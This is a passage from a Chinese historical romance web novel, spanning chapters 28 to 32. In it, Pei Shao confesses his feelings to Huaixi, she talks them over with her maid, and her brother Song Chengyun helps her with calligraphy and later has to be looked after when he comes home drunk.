这些话夏敏翻来覆去已经讲了许多遍,王郁雾从最初的泪眼涟涟到如今,已经能很淡定地拿着手帕给母亲拭泪。 怀夕来了,夏敏也不好再哭了。 王郁雾让怀夕坐在她身旁,捧了一匣子象生花给她瞧,温温柔柔地问道:“喜欢吗?” 怀夕瞧了一眼,点点头,做工真是好,花瓣娇艳如同真的一样,她夸赞道:“真好看。” 王郁雾轻笑,把匣子放到她手上。 夏敏接过话来,“这是沈家送来的,一共有两匣,你郁雾姐姐疼你们,说是你和郁心一人一匣戴着玩。” 怀夕也不推辞,接过匣子,“谢谢干娘和姐姐惦记,夕儿很喜欢。” 夏敏看怀夕这么乖巧懂事,笑着抚了抚她脸颊,怀夕顺势在她掌心上蹭了蹭,惹得夏敏笑的更开心。 只是看到桌上另一匣子象生花,又忍不住冷下脸,嗤道:“叫人请你妹妹过来,怎么怀夕到了她还没到,越来越不像话了。” “嬷嬷。”夏敏就要喊人去催她,却被王郁雾按住手。 知道母亲还有话同怀夕说,王郁雾怕人多姑娘害羞,便说道:“我去叫她吧,左右也不远。” 看到女儿眼神里的示意,夏敏这才反应过来自己还有更重要的事要做。 哎,这小女儿真是她天生的冤家,性子最像她,所以最难管,真是来克她的。 怀夕本想与王郁雾同去,却被夏敏拦住,说是让她留下来陪她吃盏茶先- 茶具都是现成的,茶炉咕噜咕噜冒着气泡后,怀夕稍稍提起袖子,拎起茶壶,微压手腕。 手柱浇落,青茶在水里翻滚似游鱼,茶香瞬间升腾而起。 一套动作行云流水,夏敏接过茶杯,轻抿了一口,满意地点点头。 既是为这茶香,也是为怀夕的技艺。 怀夕这套煮茶功夫,便是夏敏亲自教授的。 夏敏设的女学堂里,若论学问,最好的当属大女儿王郁雾;若论技艺,首辅家的三姑娘沈玉瑶最为精通,琴棋书画无一不通;可若论灵性,夏敏觉得怀夕当仁不让。 可能是心思纯净,怀夕悟性极高。学什么东西都只需轻轻点拨,一点即透,有时还常常给你惊喜。 就像这门煮茶功夫,一套流程看似普通,可她煮出来的茶,就是比别人香澈。仿佛茶叶在她的手下能舒展得更开,因此茶香更浓。 品茶的间隙,夏敏的目光流连在怀夕俏生生的小脸上,只看了一小会便在心里暗道:果然,侄子的眼光,同她一般好。 放下茶杯,夏敏拈起碟子里一枚五彩酥,递给怀夕。而后,自己又拈起一枚,状似无意地说道:“你郁雾姐姐的婚事近在眼前,想到你与郁心那混不吝不日也要出嫁,干娘心里总是空落落的。” 怀夕把嘴里的点心都吞下后,才笑着说道:“好在姐姐嫁的不算远,干娘想见她的时候就能见上。” 额,是不远,其实也就是隔了一条街。 夏敏有些尴尬,把手里的点心又放下,目光闪动,“那若是以后你与郁心都远嫁” 怀夕眨巴了下眼睛,“那我们都不远嫁不就好了。” “” 夏敏觉得自己好像给自己挖了个坑,不由得在心里细想,嫁给裴劭算不算远嫁? 应该不算吧,裴劭的家终究还是在京城。 可嫁过去后夫妻新婚,总不好分离太久吧。新妇大概是要随裴劭北上的,那好像也同远嫁差不多 从这个角度切入不行,夏敏决定从另一个角 度切入。 “夕儿有喜欢的人么?” 这么生硬直接地问,怀夕听到后,咽到一半的水差点喷出来。 再迟钝,也知道夏敏话里有话了。 怀夕用帕子蘸了蘸嘴边的糕屑,而后看着有些不自然的夏敏,无奈笑道:“干娘有话直说吧。” 这么明显吗?夏敏又有些尴尬。 “也不是什么事,就是”她咳了一声,试图重新树立她端重的形象,“就是想问问,你觉得我那侄子裴劭如何?” 怀夕皱了皱眉,感觉有些奇怪,前阵子圆圆姐姐也问过她这样的问题。 她细想了一下,当时她回的应该是“不怎么样”。 但再是不懂事也知道不该在人家姨母面前说这样的话。 看着干娘不似玩笑的眼神,怀夕也只好认真斟酌起来,“裴世子年少有为,将来定有大好前程” 怀夕边说,边观察夏敏的神色,见她蹙着眉,又说道:“裴世子英俊潇洒,是多少京城女郎的心上人” 怀夕在脑海里搜罗着裴劭的信息,诚然,按她这几年在金陵城所见所闻,这个评价倒是实打实的没有夸张。 夏敏显然不愿意听怀夕说这样官方的话语,直接问道:“那是你的心上人么?” “” 这下轮到怀夕沉默了。 王郁心果然是夏敏的克星,在她屏息等着怀夕的回答时,小姑娘乍乍呼呼推门跑了进来,将怀夕抱了个满怀。 有个未及笄的小姑娘在这里,这下还能怎么聊,夏敏看着小女儿不由分说将怀夕拉走,重重叹了口气- 王郁心拉着怀夕去她屋里,向她展示她新定做的一大型狗窝,怀夕听她讲得天花乱坠,目光一直在屋内逡巡。 狗呢? 实在没看到,一问才知道狗还没接回来。 原来,王郁心自上次在郊外马场看到几条威武的猎犬后,一直缠着夏敏说想养犬。夏敏不理她,她又去缠着她哥哥。 为了打发这个缠人的妹妹,王司岩无奈只能答应。正好友人最近家中下了一窝小犬,便答应过几天带王郁心去挑一只回来。 王郁心兴致来得快去得也快,很快又拉着怀夕说要去后院荷池采莲子。只是两人刚走到半路,便遇到裴劭。 连性子迟钝的王郁心,都察觉到裴劭近来出现在王府的次数比往常多了许多,一靠近,她不由得脱口而出,“表哥,你怎么又来了。” 说完后她又觉得这话说得不妥,正要向表哥解释她其实是很欢迎很乐意看见他来的,但准备解释时,却发现表哥的目光落到她旁边的怀夕姐姐身上。 王郁心将头伸到裴劭眼下,瞪着圆溜溜的眼睛问道:“表哥看什么呢?” 裴劭淡定收回目光,将王郁心的头推开,作正经状,道:“你二哥哥刚刚提了一个篮子进来,你猜是什么?” 果然,王郁心的注意力马上被转移,追问道:“什么?” 存了别的心思,裴劭也不卖关子,“一条小黄犬。” “不是说好带我一起去挑选的吗,怎么就提回来了!”王郁心愤愤跺了下脚,转头对怀夕说道:“姐姐稍待我一会,我去看看,马上就回来。” 说完,人就跑了好几步远,怀夕被她逗得捂着嘴直发笑。 回廊外便是荷池,难得有阵阵微风。裴劭听着身边银铃般的笑声,不禁壮着胆子去看身侧的姑娘。 这样近的距离,连她眨眼间的每一根睫毛都清晰印在眼底。 她凝脂般的雪肤透着浅浅的绯色,像是随时起飞的蝶儿,在他心上扫过一下又一下。 第29章 第29章听说你喜欢我? 京都有很多样的女子,娇柔的,活泼的,妩媚的,知书达理的 可裴劭从没有见过像怀夕这般生动的女子。 不管是初见雪夜,还是如今盛夏河边,那双琉璃瞳孔永远那般明净。 在她面前,你不自觉地想丢掉所有的伪装,只想当一个简单的自己。 王郁心和怀夕出来的时候并没有带丫鬟,王郁心走后,荷池边上便只剩他们俩。 也不是没有单独呆过,可夏敏突如其来的发问到底还是让怀夕有些不自在起来。而裴劭也拿不准姨母有没有对怀夕说过什么因此两人生硬地打了招呼后,便是一阵沉默 “我” “你” 一阵沉默过后,两人同时开口,对视后又同时后退了一步。 “你” “我” 裴劭不自觉抓了抓头发,“你先说。” 纠结从来不是怀夕的性格,心头有什么疑问她便想立刻解决它。于是,她抬起头,直勾勾地盯着裴劭看,“听说你喜欢我?” 心上人这般直白,饶是裴劭也招架不住,脸上骤然升起一抹红,迅速蔓延至耳后。 可再紧张,裴劭仍分出一丝心神,关注着少女的神色。 想说些什么,又怕冒犯到她。 轻狂肆意的小将军在心上人面前也只不过是一个笨拙的少年郎。 怀夕见裴劭红着脸,好一会都不说话,这下是真的有些不自在起来,不禁在心思反思自己是不是想多了 为了缓解尴尬,她主动向前走了一步,拍了怕裴劭的手臂,干笑道:“哈哈,我开玩笑的,不喜欢就不喜欢,没什么不好意思说的。” 极致的心潮澎湃后,裴劭反而慢慢冷静下来,他平日看兵书,兵书上讲:夫战,勇气也。一鼓作气,再而衰,三而竭。 再迟钝,他也知道不能再错过这次机会,忙脱口而出道:“喜欢。” “啊?” 怀夕双眸瞪得溜圆,因是第一次听这样的话,不知道该作何反应。好一会,才下意识地点了点头,说:“哦,哦,好。” 裴劭紧盯着怀夕的神情,小心翼翼地问道:“那你喜欢我吗?” 怀夕双手搅着手里的帕子,虽迟钝了些,此时反应过来,双颊绯色便渐渐变深。 裴劭看着镇定,其实心里也是猛打着鼓,他很想走过去将怀夕低着的头抬起来,或摇摇她的肩膀,让她快些给个答案。 可心里万般想法,最后也只是鼓起勇气,追问道:“喜欢吗?” 喜欢吗?怀夕在心里问自己。 她羡慕他精湛的骑射手法,欣赏他自由奔放的性子,同情他不算很圆满的亲情。而且,他还是干娘一家爱重的亲人,她这人,向来爱屋及乌 所以,应该是喜欢裴劭的。 怀夕在裴劭灼热的目光下点了点头。 看到怀夕的肯定,裴劭抑制不住内心的喜悦,连手指都有些发抖。 可他之后,问出了他将来无数次后悔的问题,后来无数次在梦里想阻止这次刨根究底的确认。 可此刻的裴劭不知,他只是想确认心上人对自己的心意。 “你可明白,我说的喜欢,不是你喜欢姨母,喜欢郁心,喜欢你的圆圆姐姐,喜欢娇娇的那种喜欢。”他循循善诱道,“是女子对男子的那种喜欢?” 澄澈的眼眸里倒映着另一双灼热的眼眸,怀夕如同好学的学生,在裴劭的引导下认真思考起来,而后,摇了摇头。 明明是自己要追问的,裴劭还是没忍住黯下眼眸。 想说些什么,可一开口,喉咙却像哑住一般。 怀夕身上最吸引人的,便是她的纯净无邪,也是她的天真坦率。 日落西斜,透过屋檐泄落怀夕半身,莹白肌肤在日光下恍若透明,浅淡的瞳色点缀在姣好的五官上,让她恍若误闯人间的仙子。 顺着裴劭的思路,怀夕还是不太明白,他说的这两种喜欢,有什么差别。 她抬眼看裴劭,“不知道。” 裴劭不知道该如此形容自己忽上忽下、跌宕起伏的心情,此刻一句“不知道”重新将他的心情拉上云端。 正是因为他了解怀 夕,所以看出小姑娘此刻的懵懂和坦率。 没关系,总归不讨厌,他会想办法让她喜欢上他的。如他所说的,是女子对男子的那种喜欢,是他对她的那种喜欢- 回到家才申时,宋承云还没有回来。怀夕带着小艾直奔自己屋里,待躺到柔软的床上,仍没有缓过神来。 回想着自认识裴劭以来的场景 其实也没什么特别的。 裴劭去西北前,两人多是在王府或书院见到,平日也没讲过几句话,他怎么会喜欢她呢? 怀夕与男子相处的经历并不多,她身边唯一算得上男子的,便是哥哥和松毫,松毫就不用说了,待在哥哥身边久了,做事一板一眼的,向来一句多的话都不说。 哥哥呢,自然什么都是好的,可他是哥哥,没有谁能拿来同他比较。 小艾将给怀夕擦过手的毛巾连同水盆一起端给门外的琥珀,再回屋时,看着怀夕直盯着床头的帷幔一动不动,她走上前,问道,“姑娘,你怎么了?” 小艾觉得她有些不对劲,走近看她脸上还有些红晕,怕中暑,手背过去探她额头。 怀夕把她手拍走,“我没事。” 小艾与怀夕一同长大,虽是主仆,可情同姐妹,怀夕许多心里话都会同小艾讲,她顺势将小艾拉坐在床边。 “小艾,若是有人同你说心悦你,你该怎么办?”怀夕把身子翻转过来,双手撑在下颌上,抬眸看小艾。 小艾想了一下,“那要看我喜不喜欢他。” 怀夕追问:“喜欢就怎么样?不喜欢就怎么样?” “喜欢那就是两情相悦,那可好,下一步就可以谈婚论嫁了。若是不喜欢呢”小艾敛起脸上的笑,“不喜欢也简单,直接同他说自己心有所属,别给人家留希望,挡了人家将来的姻缘。” “” 怀夕思考了一会,觉得小艾说的,很有道理。 那自己岂不是做错了。 “那若是有人问你是否喜欢他,你回答不知道,这样是不对的吗?” 小艾隔着被子拍了拍床,义正言辞道:“当然不对!戏文里写的那些花心公子就是这样哄骗小女郎的。” “” 怀夕转身翻了回去,两眼直直往上看,大声叹了口气,又闭上眼。 小艾见自家姑娘忽地如同一朵蔫花一般,忙趴下来推推她,“姑娘,你怎么了,别吓我啊。” 怀夕仍不睁眼,有气无力地说道:“小艾,我恐怕就是你说的那些花心公子” 小艾说机灵也机灵,可大多数时候,同怀夕一样,总是反应慢半拍。 她怔怔地看着怀夕,“姑娘胡说什么呀” 怀夕从床上坐起来,按住小艾的肩膀,语重心长地说道:“今日裴劭说心悦我。” 看着小艾瞬间睁大的嘴巴,怀夕及时捂住,继续说道:“他问我喜不喜欢他,我说不知道。” 小艾被捂住的嘴巴还是漏出一丝惊叫声,她两手并用扯掉怀夕的手,不可置信地说道:“姑娘真是这样回的?” 怀夕收回手,顺势懒懒地靠到床檐上,瞥了小艾一眼,“怎么我说他喜欢我你不惊讶,惊讶的是我回不知道” 是哦,小艾顺着怀夕的思路想了一下。 对于裴世子喜欢姑娘这件事,她确实不那么惊讶。 而且,如今细想来,一切仿佛有迹可循。 ———两人同在的场合,只要姑娘一出现,裴世子不久也会出现在姑娘身边 看着懊恼的姑娘,小艾有些后悔刚刚说的话重了些,她尝试弥补,“其实说不知道也不一定就是花心啦,也可能是害羞啦对吧?” 怀夕并不买账,仍然蔫蔫的。 小艾也是直白的性子,直接问:“那姑娘是害羞吗?” 怀夕摇了摇头。 小艾看出来了,姑娘好像是真的不知道自己喜不喜欢裴世子。 不过想想也正常,姑娘刚及笄,性子还如同孩童一般,身边只有公子一人,又没有长辈教她这些 小艾瞬时觉得自己责任重大,要帮姑娘理一理她的情感。 “那,裴世子同你说那些话,你听完后会不高兴吗?” 怀夕摇头。 “那有那种心跳不止的喜悦吗?就像喝姑娘平日爱喝的酸梅酒那样,又甜又涩的?” 仔细体会,其实有种很新奇的感觉。 ——是有点欣喜,有点得意,可也不至于心跳不止。 怀夕继续摇头。 这也不是,那也不是,小艾也没法子了,只好按她已有的人生经历来分析。 “我看姑娘对世子从未有过那方面的想法,所以一时也搞不清楚自己到底喜不喜欢。不过,既然姑娘说不讨厌,那可能多少有些好感吧。” 怀夕今日可真是对小艾刮目相看,没想到小艾与她同岁,却比她懂得多了多。 小艾很好奇另一个问题,“那姑娘说完不知道,裴世子是什么反应?” 第30章 第30章织锦腰带裹住那盈盈一握…… 小艾猜想,裴世子平日那般肆意洒脱,应该不是那种会恼羞成怒的人不过,表明心意后得到姑娘这种含糊的说辞,一般人也高兴不到哪里去吧 “他说没关系啊。” 怀夕不由得想起裴劭说这话时的神情和语气,她说不知道后,裴劭似乎也愣了愣,不过,很快就微拱了拱背,低头来寻她的眼睛。 “没关系的。”裴劭追着小姑娘有些闪躲的眼神,眸里满溢着笑意,想伸手安抚她,又怕吓到她,只好微微加重了语气,“不知道也没关系的,只要你不讨厌就好了。” 未来还有很多时间,他还可以做很多很多事,让小姑娘慢慢明白和接受他的心意。 他压着声线,嗓音低沉沉的,尾音带着柔软的气音。 而因他低着头,那声音尽数钻进耳朵里,怀夕不自在地往后仰了仰身子 最后,没控制住,小姑娘踉跄了一下,裴劭也终于有机会伸手抓住那截肖想已久的莹白手腕- 离王郁雾出嫁还有一个半月,怀夕还没想好自己要送什么贺礼,想了好几日,决定投其所好,绣一幅屏风送给她。 既然是投其所好,自然不能是普通的屏风,怀夕想在屏面上绣上王郁雾喜欢的字画。 既要绣字画,那首先就要先把字画之形临摹出来。 怀夕的字是宋承云手把手教的,写的颇有宋承云字的几分神采。 王郁雾夸过她的字,笔划刚劲又有柔美之感。 可怀夕铺着纸写了一个下午,仍然写不出满意的字迹。 绣在屏面上的字形与平日写字的字形还是要有些变换的,怀夕不习惯在纸上大字挥毫,越是刻意,写出来的字越是不连贯,尝试了半天,终于还是放下手上的笔。 “小艾,别磨墨了,等哥哥下值回来再说吧。” 小艾在一旁应是。 怀夕又道:“你让翡翠和琥珀将我收起来的那些丝线拿出来,我看看花色够不够用,不够的话你再找人去于公子那里捎个话,让他给我留些上好的丝线。” 于子恒的苏绣铺子在金陵城算是打响了名号,生意日日红火,不过自丁心兰回苏宁后,怀夕也很少光顾。 不过于子恒还是常常叫人送些当下卖得红火的料子给怀夕,礼尚往来,怀夕有时也把闲时画的一些样式送给他。 于子恒见怀夕画的那些样式颇为有趣,于是尝试将怀夕画的那些花样绣到衣服上,没曾想次次热卖,之后他便多次派人来求花样,还说要让怀夕入股。 怀夕对做心意并没有太大的兴趣,婉拒了他的好意,不过答应有空便画些花样给他,一来二去,两人倒也熟络起来。 挑选了好一会,果然发现少了鸦青色和天水碧的丝线,让翡翠吩咐外院的小厮去买,怀夕就让他们先收起来了。 虽说还有一个月的时间来准备贺礼,不过屏绣不仅要书画,绣起来更是繁琐,算下来时间也是比较紧急的。 晚膳时,怀夕便同宋承云提了此事,想让他帮忙看看如何修改一下她的字。 这几日朝里并无什么大事,宋承云夜里时间比较松泛,听着怀夕语气里的着急,宋承云便让说晚膳后到他书房。 要修改,也要先看过她写成什么样。 用过膳,小艾照例呈上茶水,外头翡翠手里提着两个提篮走到门口。 因天气炎热,大门是敞开的,怀夕在屋内走路消食的时候正好看到翡翠,便招手让她进来。 怀夕示意翡翠把两个篮子放到桌面,问道:“怎么样?于掌柜那里有没有那两抹颜色” 因屋内还有宋承云在,翡翠一直低着头,直到怀夕问话才抬头看她。 “回姑娘,除了姑娘说的那两抹色料,于掌柜还配了竹月、梅染、胭脂、藕荷各色丝线,说以防姑娘想用的时候没有。” 怀夕边点头边打开篮子,果然,篮子内,各色丝线整齐铺开。她又指了指隔壁的另一个提篮,“那这个装的又是什么?” 翡翠徐徐解释:“奴婢去外院找兴儿取丝线时,正好遇到王府的橘林姐姐,这个提篮是王三姑娘让她送来的,怕扰了大人和姑娘用饭,就没叫人通报,只托奴婢送进来。” 橘林是王郁心的贴身丫鬟,平日没少替她们传些小物件,怀夕并不以为意。 掀开盖子,只见里头有一枚精巧的滚灯,一块七巧板,一个推枣磨,底下还压了一封书信。 怀夕笑了笑,将书信拿起,撕开,发现里头还藏了一块青翠欲滴的玉饰佩件。 怀夕将它挂在指尖上仔细看了起来,原来是只小猫奴的形状。 她不懂玉,只觉得摸起来通体温润,也没多想,放到一旁读起书信。 难怪给她送来这许多新奇小玩意,原来是想托她给她新得的小犬画几个狗衣式样。 怀夕看完,将信叠回信封内,让翡翠把两篮子东西都放回她屋里,而那个小猫形状的玉佩,她则捡起来,再看了看,实在可爱,拿着走到宋承云边上。 “可爱吗?”怀夕笑着,摊手给宋承云看,“郁心妹妹想贿赂我替她做狗衣” 宋承云扫了一眼,点了点头。 怀夕收回手,把玉佩拿在手上把玩着,嘴角含笑,两颗梨涡浅浅,“哥哥,那我们走吧。” 趁天色还不算晚,把绣屏要用的字先写好,画再找时间慢慢画。 宋承云恩了一声,待怀夕走后,目光顷刻转深。 若他没看错,妹妹手上那块玉,是蓝田玉。 珍不珍贵另说,其产自西北荒漠,即便是京都金陵最好的玉石行,想找到一块蓝田玉也很难。 不难猜,这个玉的主人,应是裴劭。 宋承云在心底哼笑一声,倒也是用心,借别人的手辗转送来东西。他虽一眼看破,可不知为何,看着妹妹对那块玉佩爱不释手,忽然就不想点破了- 月色柔美,怀夕和宋承云一前一后走进书房。 书房布置清雅,外室除了一排多宝阁,只在正中摆了一张案几。 里头有些昏暗,怀夕熟悉地绕过案几,向内室走去,在矮榻上的小抽屉里拿出一盒火柴,擦出火苗,逐一点亮屋内的烛火。 宋承云走到桌前,亲自磨起墨来。 浓郁的墨汁在砚盘上扩散开来,宋承云放下墨块,将正中位置让给怀夕。 “写吧。” 怀夕绕过宋承云,拿起笔,在宋承云的注视下挥毫了几个大字。 一套动作行云流水,落到纸上春蚓秋蛇。 宋承云微蹙了蹙眉,似乎怀疑自己在看什么鬼画符。 “你几日没练字了?”宋承云意有所指地问道,丝毫不掩饰眸里的嫌弃。 “哥哥!”怀夕愤愤,有些不服气,“是字写大了,我把握不好悬针垂露。” 宋承云目光从纸上落回到她脸上,怀夕立马又有些心虚,“的确有半月没怎么练笔” “我说过,习字如磨剑,非一日之功,你平日临摹我的字迹,本就需要你多费心耐心和毅力”宋承云只是就事论事,语气里并不带责怪,他抽走怀夕书写的那张纸,重新铺上一张,“我写一遍,你仔细看着,再写一遍。” 怀夕只好乖巧点头。 宋承云笔走龙蛇,一行磅礴精绝的大字跃然纸上,笔锋流转间尽显风华。 怀夕认真地瞧着,待宋承云落笔完毕,凑上前去,感叹道:“哥哥的字写得真好!” 师傅领进门,修行靠个人,光看是学不会的。宋承云搁下笔,示意她上前。 怀夕拿起笔,学着刚刚宋承云的走势写下第一个字,就被叫停。 “墨色过渡,干湿浓淡,皆有章法,你运笔太慢,笔毫无力,提顿起伏间字难免洇墨,怎么可能写得好看。”宋承云从背后半环住,如同幼时教她写字一般,握住她握笔的手。 “肩膀放松。”宋承云一笔一划教她运笔,“藏锋时要微微用力” 看怀夕渐入佳境,宋承云才慢慢松开她的手。而当注意力从纸上收回时,才发现此刻妹妹一边肩颈抵着他的胸口。 宋承云眼神有些许变化,不动声色将身躯慢慢移开,目光却无意识地逡巡过怀夕的背影。 燃烧的烛灯让屋内笼罩着一层梦幻金黄,皎白的纱裙迤逦在她身上,淡紫色织锦腰带裹住那盈盈一握的腰身 在怀夕转身之际,宋承云及时收回目光,恍若刚刚的失神只是一场错觉- 洗漱过后,宋承云又回到书房,睡前写字看书已经成为他的习惯。 桌上还散乱放着怀夕刚刚练过的字帖,松毫想收走,却被宋承云挥退。 桌边烛火安静地燃着,偶尔爆出几颗烛花,宋承云将几张字帖叠到一旁,又重新铺了张纸。 练字可以静心。 挥毫了几个字,却在写到瑟字时指尖顿了顿。 妹妹这个字总是写得不好。 待烛火又爆出一个响亮的烛火,宋承云回过神,纸上又洇了厚厚一团墨。【你现在阅读的是 】 30-40 第31章 第31章哥哥,你乖乖睡 立秋一过,宋承云与王老太师一齐收到泸州来的一封信,信上梁老夫子说欲带几名学生来金陵游学一番。 收到信后一推算,也就是在这两日抵达。 但没曾想,在一个日光明媚的午后,院门外就传来马蹄声响。 梁老夫子和几位学生提前两日到达,一抵岸,就直接问路来了宋承云宅子。 宋承云正好休沐在家,听到通报后,有些讶异,急忙出门迎接。 原想着至少还要两日才到,没曾想梁老夫子雷厉风行,将信寄出的第二天就启程,京里无论是王府还是宋承云,都丝毫没有预料到他们会提前这么多到。 宋承云和几个学生的簇拥下,梁老夫子从垂花门走了进来。他的脸上毫无舟车劳顿的倦色,说话还是一如既往中气十足,“一路看来,金陵还是没有什么变化啊。” 怀夕在屋内催促丫鬟赶忙将茶水备好,听到声音也急忙从屋里出来。 梁老父子见到怀夕,眼前一亮,怀夕行礼时他挥了挥手,笑道:“小姑娘都长这么大了,难怪我这几年白发又多了许多,岁月不饶人啊。” 一行学生忙说夫子老当益壮云云,宋承云也垂眼跟着笑了笑。 怀夕也站在一旁笑着,只是很快,她察觉到一道目光似乎从进来后时时锁在自己身上,她有些奇怪,这才抬眼望向梁老夫子身后。 这一看,才发现大哥哥宋承亭也来了,她笑的更开心了,对也看着她的宋承亭眨了眨眼。 宋承亭许久没见到这个妹妹,眼眸里难掩惊艳,但此刻不是寒喧的时候,便对她颔了颔首。 众人拥着梁老夫子进了正堂,只是还没喝上一盏茶,门外又传来一阵马蹄声,紧接着,松毫带着一人进到厅内。 来人正是清河书院的王管事。 金陵城哪有什么秘密,梁识檐一抵岸,王老太师那边就收到消息。这不,立刻就让王管事过来请人。 梁老夫子放下手中的茶杯,对着王管事打趣道:“老太师还是一如既往的霸道啊。” 好在最惦念的学生已经见到了,好友既然如此心急相邀,梁老夫子自然不能负其美意,于是对着王管事爽朗笑道,“那就请王管事带路吧。” 寒暄的话还没说完,一行人又跟着梁老夫子起身,换乘王管事准备好的车驾,向清河书院疾驰而去。 宋承云自然也陪同梁老夫子一同前去。 而众人离去后,怀夕和小艾几个目目相觑,看着屋内正中那只大大的竹篾书箱。 桌上的茶杯还冒着热气,怀夕无奈地摇了摇头,让琥珀把茶杯收下去,她与小艾和裴翠则走近那个竹篾书箱。 书箱没落锁,扭扣后便可打开。而打开后一看,尽是书册和笔墨文具,角落还有几包土产。 路途这般遥远,梁老夫子还要带这些东西来探望他们,怀夕暖心地笑了笑,把土产拿了出来,叫人将箱子抬到书房,准备等哥哥回来后再一起规整其他书册- 宋承云再回来的时候,已是深夜。 松毫过来敲院门的时候,怀夕正穿着雪白的亵/衣,散着微湿的头发和小艾在榻上玩推枣磨。 入了夜,外男是不能进内院的,今夜在耳房守夜的琥珀听到院外的声响,急忙穿上衣服去开门。 琥珀回屋通报的间隙,松毫在院门外急得直搓手。 本不该深夜来请姑娘的,可事出突然,他从没见过喝得这般醉的公子。 已是秋凉季节,若放任公子在游廊坐一夜,那明日定是要害风寒的,他哪里担得起。 可公子怎么劝都不肯回房,没办法,他只能来找姑娘,或许还有法子。 怀夕听着琥珀的传话,原本已经有些惊讶,再听到她说公子坐在游廊不肯回屋,则是有些不可置信了。 哥哥怎么可能做这样孩子气的举动?不过虽然有些怀疑,她还是匆忙披上外袍,带上小艾跟着松毫小一路跑到二院游廊。 松毫沉稳,在怀夕进院前已将其他仆从都遣走。 待见到游廊下背对着他们的清隽身影,怀夕这才确认,松毫她们的话一点都没有夸张。她挥挥手,让小艾帮着松毫先去准备醒酒汤。而她放慢脚步,朝廊下那道身影走去。 待两人离得只有几步远的时候,怀夕轻轻喊了一声:“哥哥”。 但那身影却没有回头。 怀夕顺着他的目光往上看,目光落到院里的老槐树。 老槐树静静地坐立在院中,仿佛在守护着整座宅院。树干上的枝叶已经有些稀疏,夜里看不清颜色,一阵秋风拂过,几片枯叶打着旋地飘落。 怀夕无声地打了个颤,不由得紧了紧身上的衣衫。 身旁的宋承云,即使坐着,身姿也十分挺拔。 月华般的光辉落在他脸上,衬得他一双黑眸愈发冷清缥缈,不太像是醉了的模样。 可一凑近,酒气混着他身上淡淡的松木香一同袭来。 怀夕侧过身去看他,见他面色虽如同往常般沉静,可眼尾和和耳廓边明显染上淡淡的酡红。她伸手去拉他,哄着一般,轻声让他回屋。 而宋承云就那样呆呆地听着,像木偶一般,任由她拉回房里。 看着哥哥这么“乖巧听话”,怀夕觉得松毫有些言过其实,刚刚还说是怎么劝都不肯离开 := 怀夕将宋承云带到他房中外室时,松毫也端着醒酒汤回来了。 宋承云向来不喜别人踏入他的房间,所以小艾没有进来。 许是醉的很了,一进屋内,宋承云便自顾自地倾倒在榻上。 怀夕看了一眼他,既然已经送回来了,接下来就交给松毫了,她对松毫说道:“那我就先回去了,一会醒酒汤凉一些,你让哥哥喝完再睡吧。” 松毫看着榻上闭着眼的公子,又看了看怀夕,神情十分为难:“恐怕要再劳烦姑娘喂公子喝醒酒汤” 看着怀夕疑问的表情,松毫继续说道:“方才在廊上小的劝了多久都没用由此可见,公子只愿意听姑娘的话” 怀夕不信,松毫只好走到宋承云身边,轻声劝道:“公子,姑娘准备了醒酒汤,您先起来喝一碗” 宋承云似是不奈般皱了皱眉,可仍然闭着眼。 松毫看向怀夕,虽未开口,可脸上明晃晃写着:“看吧,是我说的那样吧?” 那还能怎么办,只好自己来了。 怀夕看着松毫跑来跑去,已经忙活得满头大汗,想了想,朝他说道:“那我来喂哥哥,你先下去洗簌,免得一会着凉了,晚些再换你来照看。” 松毫连连感谢,把手里的醒酒汤放到桌上便退下了。 怀夕觉得松毫说得有些玄乎,存着试试看的心态,半蹲在宋承云榻边,轻轻地喊道:“哥哥。” 只等了一小会,榻上的男子果然缓缓睁开眼。虽然,他脸上依旧没什么表情,甚至,醉意好似慢慢泛滥开来,烛光下,怀夕清楚地看到他眼里的迷离混沌,还有小小的一个她。 怀夕觉得好玩,往他眼前更凑近了些,瞳孔里的她随之变大。 一前一后好几次,怀夕玩得起劲,直到宋承云缓缓地眨了眨眼,她的身影在他眸里消失又出现,她才想起还没喂他喝醒酒汤。 “坐起来好吗?”她用商量的语气同他说道,接下来,也不等他回答,直接就去搀他,而宋承云在怀夕的搀扶下真的坐了起来。 趁他还能坐着,怀夕急忙走到桌前,将那碗变温的醒酒汤端过来。可榻上的人不抬手接,怀夕只好一勺一勺喂予他喝。 好在也算配合,很快,醒酒汤就见底。 其实,宋承云今晚被同窗们敬了不少酒,算是醉狠了。当下即便勉强坐着,可身躯偶尔不稳地晃了晃。 怀夕把碗放到一旁,有些犹豫要不要扶他回房间睡下。但回头看哥哥这状态,还是作罢,她只好又凑上来,继续用商量的语气同他说道:“那先在这里躺着好么?” 宋承云轻轻点了下头,闭着眼躺了回去。 乖的不像话。 哥哥的外裳刚刚已经让松毫帮忙褪了,但鼻翼间还是能闻到淡淡的酒气,怀夕想了想,走到门口,打开门,吩咐小艾去端盆热水进来。 总要擦把脸,躺着才舒服些。 小艾很快就端来了热水,但依旧没有进来,怀夕自己把水端进来,扭干毛巾,一点一点轻轻擦拭宋承云的脸,脖子,手心,擦完后,又进内室拿了床薄毯替他盖上。 一切都安排妥当,她便准备出去换回松毫来照看他,没曾想,转身霎那,指尖被拉住。 怀夕以为哥哥醒了,顺势弯腰去看他,轻唤:“哥哥?” 宋承云微微睁开眼,又仿佛无力般,缓缓阖上,只是手上的力并没有放松。 原来没醒,怀夕另一只手握住他的,想将他几根指节拉开。 可宋承云似乎在睡梦中察觉她欲挣脱,握的更紧。 想到刚刚哥哥那般乖巧听话,怀夕尝试用刚刚的方法,凑到他耳旁,轻轻说道:“哥哥,你乖乖睡,夕儿也要回去睡觉了。” 宋承云还是没有放开,只是嘴里好像轻轻呢喃了一句什么。 他的声音很轻,轻得仿佛怕惊扰到什么一样。怀夕没听清,只好将耳朵凑近他嘴边,“哥哥说什么?” 宋承云在睡梦中闻到一阵很熟悉的清甜香味,他下意识地想抓紧,可耳旁有一个声音说她要离开,他只能费尽所有力气把那抹味道抓在手里。 “别走。” 灼烫的呼吸钻进耳朵,怀夕听清了他呢喃的话语后,立马往后仰,另一只手揉了揉有些发痒的耳尖。 看着被紧握的手指,她叹了口气,坐回到榻边。 算了,再等等吧。 第32章 第32章渴望靠得更近 宋承云平日很少做梦,可今夜却不停地坠入一个又一个梦境。 梦里光怪陆离,有时他明知在做梦,想离开,可总是有个声音牵绊住他,让他无法逃离。 在梦里呆的久了,慢慢地,梦里的他开始分不清现实和梦境。 最后一个梦,他跋涉在一望无际的雪白里。 雪 太厚,每迈一步都很艰难。待他气喘吁吁终于快走到尽头时,忽地听到一串清甜软糯的欢笑声。 那串声音并不陌生。 可梦里,宋承云怎么都想不起声音的主人是谁。 